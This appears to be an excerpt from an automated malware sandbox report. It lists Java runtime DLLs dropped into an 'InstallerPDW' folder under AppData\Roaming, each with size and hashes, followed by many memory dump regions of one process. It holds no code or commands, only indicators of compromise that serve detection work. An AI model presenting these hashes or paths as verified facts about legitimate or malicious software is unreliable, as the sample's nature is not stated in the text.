        • \Users\Admin\AppData\Roaming\InstallerPDW\jre\bin\net.dll

          Filesize

          78KB

          MD5

          691b937a898271ee2cffab20518b310b

          SHA1

          abedfcd32c3022326bc593ab392dea433fcf667c

          SHA256

          2f5f1199d277850a009458edb5202688c26dd993f68fe86ca1b946dc74a36d61

          SHA512

          1c09f4e35a75b336170f64b5c7254a51461dc1997b5862b62208063c6cf84a7cb2d66a67e947cbbf27e1cf34ccd68ba4e91c71c236104070ef3beb85570213ec

        • \Users\Admin\AppData\Roaming\InstallerPDW\jre\bin\nio.dll

          Filesize

          50KB

          MD5

          95edb3cb2e2333c146a4dd489ce67cbd

          SHA1

          79013586a6e65e2e1f80e5caf9e2aa15b7363f9a

          SHA256

          96cf590bddfd90086476e012d9f48a9a696efc054852ef626b43d6d62e72af31

          SHA512

          ab671f1bce915d748ee49518cc2a666a2715b329cab4ab8f6b9a975c99c146bb095f7a4284cd2aaf4a5b4fcf4f939f54853af3b3acc4205f89ed2ba8a33bb553

        • \Users\Admin\AppData\Roaming\InstallerPDW\jre\bin\prism_d3d.dll

          Filesize

          113KB

          MD5

          5aadadf700c7771f208dda7ce60de120

          SHA1

          e9cf7e7d1790dc63a58106c416944fd6717363a5

          SHA256

          89dac9792c884b70055566564aa12a8626c3aa127a89303730e66aba3c045f79

          SHA512

          624431a908c2a835f980391a869623ee1fa1f5a1a41f3ee08040e6395b8c11734f76fe401c4b9415f2055e46f60a7f9f2ac0a674604e5743ab8301dbadf279f2

        • \Users\Admin\AppData\Roaming\InstallerPDW\jre\bin\prism_sw.dll

          Filesize

          84KB

          MD5

          5e6ddf7cf25fd493b8a1a769ef4c78f7

          SHA1

          42748051176b776467a31885bb2889c33b780f2d

          SHA256

          b9beaca57bff23c953917c0b2037351ef3334e6a9de447dca6542fe5c815bf9f

          SHA512

          c47f742f064b99e5b9c2bdeac97472d9d8c9466c9071e9799af79f820199d9b30b198c33ef635f07a972b77475afea9e7417aa6335d22a7380e7b0e552869c18

        • \Users\Admin\AppData\Roaming\InstallerPDW\jre\bin\verify.dll

          Filesize

          38KB

          MD5

          de2167a880207bbf7464bcd1f8bc8657

          SHA1

          0ff7a5ea29c0364a1162a090dffc13d29bc3d3c7

          SHA256

          fd856ea783ad60215ce2f920fcb6bb4e416562d3c037c06d047f1ec103cd10b3

          SHA512

          bb83377c5cff6117cec6fbadf6d40989ce1ee3f37e4ceba17562a59ea903d8962091146e2aa5cc44cfdddf280da7928001eea98abf0c0942d69819b2433f1322

        • \Users\Admin\AppData\Roaming\InstallerPDW\jre\bin\zip.dll

          Filesize

          68KB

          MD5

          cb99b83bbc19cd0e1c2ec6031d0a80bc

          SHA1

          927e1e24fd19f9ca8b5191ef3cc746b74ab68bcd

          SHA256

          68148243e3a03a3a1aaf4637f054993cb174c04f6bd77894fe84d74af5833bec

          SHA512

          29c4978fa56f15025355ce26a52bdf8197b8d8073a441425df3dfc93c7d80d36755cc05b6485dd2e1f168df2941315f883960b81368e742c4ea8e69dd82fa2ba

        • memory/2604-354-0x0000000002820000-0x0000000002828000-memory.dmp

          Filesize

          32KB

        • memory/2604-391-0x00000000001F0000-0x00000000001F1000-memory.dmp

          Filesize

          4KB

        • memory/2604-314-0x00000000027F0000-0x00000000027F8000-memory.dmp

          Filesize

          32KB

        • memory/2604-326-0x0000000002848000-0x0000000002850000-memory.dmp

          Filesize

          32KB

        • memory/2604-315-0x0000000002788000-0x0000000002790000-memory.dmp

          Filesize

          32KB

        • memory/2604-316-0x0000000002838000-0x0000000002840000-memory.dmp

          Filesize

          32KB

        • memory/2604-311-0x0000000002830000-0x0000000002838000-memory.dmp

          Filesize

          32KB

        • memory/2604-325-0x00000000027F8000-0x0000000002800000-memory.dmp

          Filesize

          32KB

        • memory/2604-313-0x00000000027E8000-0x00000000027F0000-memory.dmp

          Filesize

          32KB

        • memory/2604-334-0x0000000002850000-0x0000000002858000-memory.dmp

          Filesize

          32KB

        • memory/2604-333-0x0000000002800000-0x0000000002808000-memory.dmp

          Filesize

          32KB

        • memory/2604-310-0x00000000027A0000-0x00000000027A8000-memory.dmp

          Filesize

          32KB

        • memory/2604-306-0x0000000002798000-0x00000000027A0000-memory.dmp

          Filesize

          32KB

        • memory/2604-307-0x0000000002828000-0x0000000002830000-memory.dmp

          Filesize

          32KB

        • memory/2604-339-0x0000000002858000-0x0000000002860000-memory.dmp

          Filesize

          32KB

        • memory/2604-338-0x0000000002808000-0x0000000002810000-memory.dmp

          Filesize

          32KB

        • memory/2604-273-0x00000000027E8000-0x00000000027F0000-memory.dmp

          Filesize

          32KB

        • memory/2604-300-0x0000000002818000-0x0000000002820000-memory.dmp

          Filesize

          32KB

        • memory/2604-301-0x0000000002820000-0x0000000002828000-memory.dmp

          Filesize

          32KB

        • memory/2604-351-0x0000000002860000-0x0000000002868000-memory.dmp

          Filesize

          32KB

        • memory/2604-355-0x0000000002868000-0x0000000002870000-memory.dmp

          Filesize

          32KB

        • memory/2604-302-0x0000000002750000-0x0000000002778000-memory.dmp

          Filesize

          160KB

        • memory/2604-353-0x0000000002818000-0x0000000002820000-memory.dmp

          Filesize

          32KB

        • memory/2604-350-0x0000000002810000-0x0000000002818000-memory.dmp

          Filesize

          32KB

        • memory/2604-274-0x0000000002790000-0x0000000002798000-memory.dmp

          Filesize

          32KB

        • memory/2604-293-0x0000000002800000-0x0000000002808000-memory.dmp

          Filesize

          32KB

        • memory/2604-361-0x0000000002870000-0x0000000002878000-memory.dmp

          Filesize

          32KB

        • memory/2604-364-0x0000000002878000-0x0000000002880000-memory.dmp

          Filesize

          32KB

        • memory/2604-363-0x0000000002828000-0x0000000002830000-memory.dmp

          Filesize

          32KB

        • memory/2604-297-0x00000000001F0000-0x00000000001F1000-memory.dmp

          Filesize

          4KB

        • memory/2604-369-0x0000000002880000-0x0000000002888000-memory.dmp

          Filesize

          32KB

        • memory/2604-368-0x0000000002830000-0x0000000002838000-memory.dmp

          Filesize

          32KB

        • memory/2604-296-0x0000000002810000-0x0000000002818000-memory.dmp

          Filesize

          32KB

        • memory/2604-294-0x0000000002808000-0x0000000002810000-memory.dmp

          Filesize

          32KB

        • memory/2604-289-0x00000000027F8000-0x0000000002800000-memory.dmp

          Filesize

          32KB

        • memory/2604-384-0x0000000000840000-0x000000000084A000-memory.dmp

          Filesize

          40KB

        • memory/2604-383-0x0000000002840000-0x0000000002848000-memory.dmp

          Filesize

          32KB

        • memory/2604-382-0x0000000000840000-0x000000000084A000-memory.dmp

          Filesize

          40KB

        • memory/2604-381-0x0000000002838000-0x0000000002840000-memory.dmp

          Filesize

          32KB

        • memory/2604-275-0x00000000027F0000-0x00000000027F8000-memory.dmp

          Filesize

          32KB

        • memory/2604-386-0x0000000002850000-0x0000000002858000-memory.dmp

          Filesize

          32KB

        • memory/2604-387-0x0000000000840000-0x000000000084A000-memory.dmp

          Filesize

          40KB

        • memory/2604-385-0x0000000002848000-0x0000000002850000-memory.dmp

          Filesize

          32KB

        • memory/2604-322-0x0000000002840000-0x0000000002848000-memory.dmp

          Filesize

          32KB

        • memory/2604-276-0x0000000002788000-0x0000000002790000-memory.dmp

          Filesize

          32KB

        • memory/2604-397-0x00000000001F0000-0x00000000001F1000-memory.dmp

          Filesize

          4KB

        • memory/2604-410-0x0000000002858000-0x0000000002860000-memory.dmp

          Filesize

          32KB

        • memory/2604-413-0x00000000001F0000-0x00000000001F1000-memory.dmp

          Filesize

          4KB

        • memory/2604-436-0x00000000001F0000-0x00000000001F1000-memory.dmp

          Filesize

          4KB

        • memory/2604-437-0x0000000002860000-0x0000000002868000-memory.dmp

          Filesize

          32KB

        • memory/2604-439-0x00000000001F0000-0x00000000001F1000-memory.dmp

          Filesize

          4KB

        • memory/2604-443-0x0000000002868000-0x0000000002870000-memory.dmp

          Filesize

          32KB

        • memory/2604-444-0x0000000002870000-0x0000000002878000-memory.dmp

          Filesize

          32KB

        • memory/2604-445-0x0000000002878000-0x0000000002880000-memory.dmp

          Filesize

          32KB

        • memory/2604-446-0x00000000001F0000-0x00000000001F1000-memory.dmp

          Filesize

          4KB

        • memory/2604-450-0x0000000002880000-0x0000000002888000-memory.dmp

          Filesize

          32KB

        • memory/2604-453-0x00000000001F0000-0x00000000001F1000-memory.dmp

          Filesize

          4KB

        • memory/2604-454-0x0000000000840000-0x000000000084A000-memory.dmp

          Filesize

          40KB

        • memory/2604-456-0x0000000000840000-0x000000000084A000-memory.dmp

          Filesize

          40KB

        • memory/2604-459-0x00000000001F0000-0x00000000001F1000-memory.dmp

          Filesize

          4KB

        • memory/2604-539-0x0000000002880000-0x0000000002888000-memory.dmp

          Filesize

          32KB

        • memory/2604-538-0x0000000002878000-0x0000000002880000-memory.dmp

          Filesize

          32KB

        • memory/2604-537-0x0000000002870000-0x0000000002878000-memory.dmp

          Filesize

          32KB

        • memory/2604-536-0x0000000002868000-0x0000000002870000-memory.dmp

          Filesize

          32KB

        • memory/2604-535-0x0000000002860000-0x0000000002868000-memory.dmp

          Filesize

          32KB

        • memory/2604-534-0x0000000002858000-0x0000000002860000-memory.dmp

          Filesize

          32KB

        • memory/2604-533-0x0000000002850000-0x0000000002858000-memory.dmp

          Filesize

          32KB

        • memory/2604-532-0x0000000002848000-0x0000000002850000-memory.dmp

          Filesize

          32KB

        • memory/2604-531-0x0000000002840000-0x0000000002848000-memory.dmp

          Filesize

          32KB

        • memory/2604-530-0x0000000002838000-0x0000000002840000-memory.dmp

          Filesize

          32KB

        • memory/2604-529-0x0000000002830000-0x0000000002838000-memory.dmp

          Filesize

          32KB

        • memory/2604-528-0x0000000002828000-0x0000000002830000-memory.dmp

          Filesize

          32KB

        • memory/2604-527-0x0000000002820000-0x0000000002828000-memory.dmp

          Filesize

          32KB

        • memory/2604-526-0x0000000002818000-0x0000000002820000-memory.dmp

          Filesize

          32KB

        • memory/2604-525-0x0000000002810000-0x0000000002818000-memory.dmp

          Filesize

          32KB

        • memory/2604-524-0x0000000002808000-0x0000000002810000-memory.dmp

          Filesize

          32KB

        • memory/2604-523-0x0000000002800000-0x0000000002808000-memory.dmp

          Filesize

          32KB

        • memory/2604-522-0x00000000027F8000-0x0000000002800000-memory.dmp

          Filesize

          32KB

        • memory/2604-521-0x0000000002788000-0x0000000002790000-memory.dmp

          Filesize

          32KB

        • memory/2604-520-0x00000000027F0000-0x00000000027F8000-memory.dmp

          Filesize

          32KB

        • memory/2604-519-0x00000000027E8000-0x00000000027F0000-memory.dmp

          Filesize

          32KB

        • memory/2604-518-0x00000000027A0000-0x00000000027A8000-memory.dmp

          Filesize

          32KB

        • memory/2604-517-0x0000000002798000-0x00000000027A0000-memory.dmp

          Filesize

          32KB

        • memory/2604-258-0x00000000027A0000-0x00000000027A8000-memory.dmp

          Filesize

          32KB

        • memory/2604-254-0x0000000002798000-0x00000000027A0000-memory.dmp

          Filesize

          32KB

        • memory/2604-249-0x0000000002750000-0x0000000002778000-memory.dmp

          Filesize

          160KB

        • memory/2616-229-0x0000000000400000-0x000000000042F000-memory.dmp

          Filesize

          188KB